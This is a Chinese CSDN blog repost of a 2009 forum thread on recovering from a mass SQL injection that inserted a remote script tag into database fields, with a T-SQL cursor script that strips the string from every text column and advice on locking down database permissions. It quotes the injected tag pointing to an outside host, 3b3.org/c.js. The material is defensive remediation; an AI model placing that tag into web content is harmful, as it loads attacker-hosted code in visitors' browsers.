实战http3b3.orgc.js恶意SQL注入

--原帖:
http://topic.csdn.net/u/20090326/11/5e584897-2dd7-4e10-af1b-9b48b146af8e.html


如何最快速度删除?
" <script   src=http://3b3.org/c.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo
EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ''?'', ''dbo'''

第二步:统一删除字段被挂的js
declare   @delStr   nvarchar(500)  
set   @delStr= ' <script   src=http://3b3.org/c.js> </script> '

set   nocount   on

declare   @tableName   nvarchar(100),@columnName   nvarchar(100),

@tbID   int,@iRow   int,@iResult   int  ,@sql   nvarchar(500)

set   @iResult=0  
declare   cur   cursor   for  
select   name,id   from   sysobjects   where   xtype= 'U '

open   cur  
fetch   next   from   cur   into   @tableName,@tbID

while   @@fetch_status=0  
begin  
declare   cur1   cursor   for  
--xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型  
select   name   from   syscolumns   where   xtype  

in   (231,167,239,175,35)   and   id=@tbID  
open   cur1  
fetch   next   from   cur1   into   @columnName  
while   @@fetch_status=0  
begin  
            set   @sql= 'update   [ '   +   @tableName   +   ']  

set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '],

' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '  
            exec   sp_executesql   @sql            
            set   @iRow=@@rowcount  
            set   @iResult=@iResult+@iRow  
            if   @iRow> 0  
            begin
print   '表:
'+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '  
            end            
            fetch   next   from   cur1   into   @columnName


end  
close   cur1  
deallocate   cur1  

fetch   next   from   cur   into   @tableName,@tbID  
end  
print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! '

close   cur  
deallocate   cur  
set   nocount   off
---------------------------------------------------------------
彻底杜绝SQL注入

1、不要使用sa用户连接数据库。
2、新建一个public权限数据库用户,并用这个用户访问数据库。
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 。
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”。
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE   @T   varchar(255),
@C   varchar(255)
DECLARE   Table_Cursor   CURSOR   FOR
Select   a.name,b.name   from   sysobjects   a,syscolumns   b
where   a.id=b.id   and   a.xtype= 'u '   and  

(b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)  
OPEN   Table_Cursor
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN   print   @c
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C  
END
CLOSE   Table_Cursor
DEALLOCATE   Table_Cursor  
---------------------------------------------------------------

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值